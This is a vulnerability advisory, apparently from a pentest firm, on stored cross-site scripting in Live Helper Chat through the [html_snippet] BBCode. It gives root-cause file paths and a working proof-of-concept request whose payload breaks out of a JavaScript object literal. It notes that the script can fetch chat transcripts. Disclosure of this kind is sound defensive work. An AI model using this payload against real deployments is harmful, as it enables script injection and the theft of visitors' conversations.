Live Helper Chat: Stored XSS in the Visitor Chat via [html_snippet] BBCode
An anonymous visitor writes [html_snippet] into an ordinary chat message; the content lands unchecked in a JavaScript object literal and runs for anyone who opens the chat URL.
Advisory ID: TP-2026-153
Product: Live Helper Chat (open-source live support chat application for websites)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: not requested
CVSS 3.1: 6.1 (Medium) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Vendor advisory: GHSA-x6rp-3gq8-6q47
Affected versions: up to and including 4.94v (verified live: commit d8787d04)
Fixed in: 4.95v
Reported: 10 October 2026
Summary
Live Helper Chat is an open-source live support chat application for websites. The message row of the visitor view evaluates the [html_snippet] BBCode on the raw message, before any filter runs and without checking the sender. The content of the tag reaches a JavaScript object literal inside a <script> element without a cast and without encoding. The ingest filter for visitor messages strips [html] only, not [html_snippet]. An anonymous visitor stores script that runs in the application origin for anyone who opens the attacker's chat URL.
Root cause
lhc_web/design/defaulttheme/tpl/lhchat/lists/user_msg_row.tpl.php:5 calls erLhcoreClassBBCode::extractMetaByMessage($msg['msg']) on the raw message, before any filter runs and without checking the sender.
extractMetaByMessage (lhc_web/lib/core/lhbbcode/lhbbcode.php:1127-1137) extracts the content of every [html_snippet] pair with preg_match_all and keeps it unchanged.
lhc_web/design/defaulttheme/tpl/lhgenericbot/message/content/html_snippet.tpl.php:2 prints that value without a cast and without encoding at the 'id': position of a JavaScript object literal inside a <script> element.
The ingest filter in lhc_web/modules/lhchat/addmsguser.php:38 removes [html] pairs only and leaves [html_snippet] unchanged.
Proof of Concept
POST /index.php/eng/chat/addmsguser/11/<chat-hash> HTTP/1.1
msg=V2 [html_snippet]1});window.__XSSVERIF=document.domain;console.log('XSSVERIF:'+window.__XSSVERIF);//[/html_snippet] END
HTTP/1.1 200 OK
{"error":"f","r":""}
GET /index.php/eng/chat/chat/11/<chat-hash> HTTP/1.1
<script>lhinst.sendHTML(23,{'type':'msg','id':1});window.__XSSVERIF=document.domain;console.log('XSSVERIF:'+window.__XSSVERIF);//});</script>
The sequence 1}); closes the object literal and the call, and the rest of the message is script source. Verified on 4.94v (commit d8787d04) in Docker with the default configuration as an anonymous visitor in Chromium; the console logs the value that was set, and the JSON poll chat/syncuser serves the same payload. A message without the tag produces no sendHTML block, as the control. The operator view site_admin/chat/printchatadmin shows the message as literal text, so the victim has to open the attacker's chat URL.
Impact
- Script execution in the application origin for anyone who opens the attacker's chat URL.
- The payload is stored and runs on every later render of that chat.
PHPSESSIDandlhc_vidcarryHttpOnly; the script instead issues same-origin requests with the viewer's cookies, shown with afetchonchat/printchatthat returned the full transcript.- No account and no configuration change required; the message is capped at
max_message_length, 500 characters by default.
References
Is Something Like This in Your Software?
Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.
